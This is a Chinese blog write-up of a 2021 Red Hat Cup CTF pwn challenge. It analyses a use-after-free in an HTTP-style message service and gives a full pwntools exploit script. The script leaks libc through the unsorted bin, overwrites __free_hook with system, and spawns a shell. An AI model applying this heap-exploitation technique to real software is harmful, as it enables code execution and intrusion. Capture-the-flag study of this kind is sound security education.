【红帽杯2021线下赛】pwn——oooohMsgHTTP

参考网上大神写的wp进行复现,根据自己的理解写的一篇笔记,一些知识理解错了的话请见谅

首先check以下,保护全开,程序需要构造如下http请求才能进行交互
在这里插入图片描述

看ida代码,找到他的构造方法的地方,通过查看每个方法的代码(看了好久的代码,以及很多时间去调试),可以知道程序提供如下交互分别是:
(1)ping 无实质效用
(2)welcome 泄露自身的函数的地址,减去在ida上的text段地址,可以暴露pie的地址,用于debug(其实也没什么用处)
(3)login_user 登陆用户(前提是用户已经进行注册)
(4)register_user 注册用户 并为该用户分配空间,用于记录他的msg情况
(5)add_message 添加msg(需本人user登录),并返回一个secret用于后续操作该mag,需要设置size和content 该操作分配堆块,堆块大小以实际的content为准,size只是一个伪数值
(6)del_message 删除msg(需本人user登录),根据secret删除对应堆块
(7)get_message 获取另一个user的msg(需登录一个新的user去获取msg),将对应的msg读到一个地方,用于show 该操作会把msg的堆块地址读入一个全局变量(ptr)进行记录,因此每次只能get一条msg,再get会被替换掉
(8)edit_message 修改msg(需本人user登录)
(9)logout_user 注销user,会把prt的数据清空 无实质作用
(10)exit 退出程序 无实质作用
(11)empty_message 清空msg信息, free掉ptr上保存的堆块,但并未将其他user的指针释放掉,这里就是本题漏洞——user2通过empty方法把user1上的msg1释放掉了,但是user1仍然拥有msg1的地址,通过secret可以控制msg1的内容,从而实现UAF
(12)show_message 打印ptr存放的msg信息 可以用于泄露unsoreted bin地址
在这里插入图片描述

详细分析过程主要都是看每个方法的功能,以及调试看堆,废话不多说直接上解题思路

(1)通过user1的add操作,和user2的get-empty-get操作,然后show把unsorted bin的地址泄露出来
这里主要是get-empty-get操作,因为empty并未释放掉user1指向msg的权限,所以再次使用get还是可以拿到msg的地址,从show将其泄露出来

在这里插入图片描述

但是有另一个难处,add函数限制的size的大小(0xff),content的长度也限制了(小于size),所以需要通过反复add和delete把tcache bins填满
(这里需要不断尝试,因为上面(1)-(12)每一个方法都会有malloc和free的产生,无法根据平常的逻辑去实现),
最后调试如上面的代码所示,分配10个0x90堆块,删除9个,把tcache填满,然后通过get-empty-get实现地址泄露
在这里插入图片描述
在这里插入图片描述

(2)第二步就是构造UAF,同(1),需要反复add和delete,才能保证tcache上的bins链不会被用完
原理就是通过user2的get-empty释放掉堆块,再通过user1的edit方法把__free_hook写进去,然后通过add把system写入__free_hook中,实现UAF
注意,UAF用了0x30的堆块,所以需要-0x10的偏移,不要用0x20堆块,因为add、delete方法读参数时会产生大量的0x20堆块把我们的堆块给占用。
(尽量少用login_user、logout_user、show_message等无关方法,这些方法都会把堆给占用了)
在这里插入图片描述

WP如下:

# -*- coding: utf-8 -*-
from pwn import *
import time
from ctypes import *
context.log_level = 'debug'
# context.terminal=['tmux','splitw','-h']
context(arch='amd64', os='linux')
#context(arch='i386', os='linux')


def ms(name,addr):
    print name + "---->" + hex(addr)

def debug(mallocr,PIE=True):
    if PIE:
        text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
        gdb.attach(p,'b *{}'.format(hex(text_base+mallocr)))
    else:
        gdb.attach(p,"b *{}".format(hex(mallocr)))

def exec_fmt(payload):
    p.sendline(payload)
    info=p.recv()
    return info




local = 1
file = "./oooohMsgHTTP"
elf = ELF(file)
if local:
    p = process(file)
    libc = elf.libc
    #p =process([file],env={"LD_PRELOAD":"./libc-2.27.so"})
    #libc = ELF('./libc-2.27.so') 
else:
    p = remote('111.200.241.244',53863)
    #libc = ELF('/lib/i386-linux-gnu/libc.so.6')
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    #libc = ELF('./libc.so.6') 



sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
slaf = lambda s1,s2 : p.sendlineafter(s1,s2)
sdaf = lambda s1,s2 : p.sendafter(s1,s2)



def ping():
    sl("GET /ping HTTP/1.1")


def welcome():
    sl("GET /welcome HTTP/1.1")
    ru("Here is my gift: ")
    address = int(ru("\n")[:-1],16)
    print "PIE is : " + hex(address-0x1470)

def login_user(username,password):
    sl("POST /login_user HTTP/1.1\nusername={}&password={}".format(username,password))

def register_user(username,password):
    sl("POST /register_user HTTP/1.1\nusername={}&password={}".format(username,password))

def add_message(size,message):
    sl("POST /add_message HTTP/1.1\nsize={}&message={}".format(size,message))
    ru('{"secret":')
    secret = ru(",")[:-1]
    return secret

def del_message(message_id):
    sl("POST /del_message HTTP/1.1\nmessage_id={}".format(message_id))

def get_message(secret):
    sl("POST /get_message HTTP/1.1\nsecret={}".format(secret))

def edit_message(message,secret):
    sl("POST /edit_message HTTP/1.1\nsecret={}&message={}".format(secret,message))

def logout_user():
    sl("POST /logout_user HTTP/1.1\nis_confirmed=yes")

def exit():
    sl("POST /exit HTTP/1.1\nis_confirmed=yes")

def empty_message():
    sl("POST /empty_message HTTP/1.1\nis_confirmed=yes")

def show_message():
    sl("POST /show_message HTTP/1.1\n")

def add(size,content):
    secret.append(add_message(size,content))
    

def edit(index,content):
    edit_message(content,secret[index])

def delete(index):
    del_message(index)

def get_msg(index):
    get_message(secret[index])
    

#*******init**********#


register_user("aaa","123")
register_user("bbb","123")

secret=[]
login_user("aaa","123")
for i in range(10):
    add(0x80,'a'*0x80)
for i in range(9):
    delete(i)


login_user("bbb","123")
get_msg(9)
empty_message()
get_msg(9)
show_message()
ru('"message":"')
libc_base = u64(ru('"')[:-1].ljust(0x8,"\x00")) - 0x3ebd20
system = libc_base + libc.sym["system"]
__free_hook = libc_base + libc.sym["__free_hook"]
print "libc_base is : " + hex(libc_base)
print "system is : " + hex(system)
print "__free_hook is : " + hex(__free_hook)



login_user("aaa","123")
secret=[]
for i in range(4):
    add(0xff,'a'*0x18)
for i in range(3):
    delete(i)


login_user("bbb","123")
get_msg(3)
empty_message()


login_user("aaa","123")
edit(3,p64(__free_hook-0x10))
add(0xff,'a'*0x18)
add(0xff,'a'*0x10+p64(system))
login_user("/bin/sh","/bin/sh")

p.interactive()
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值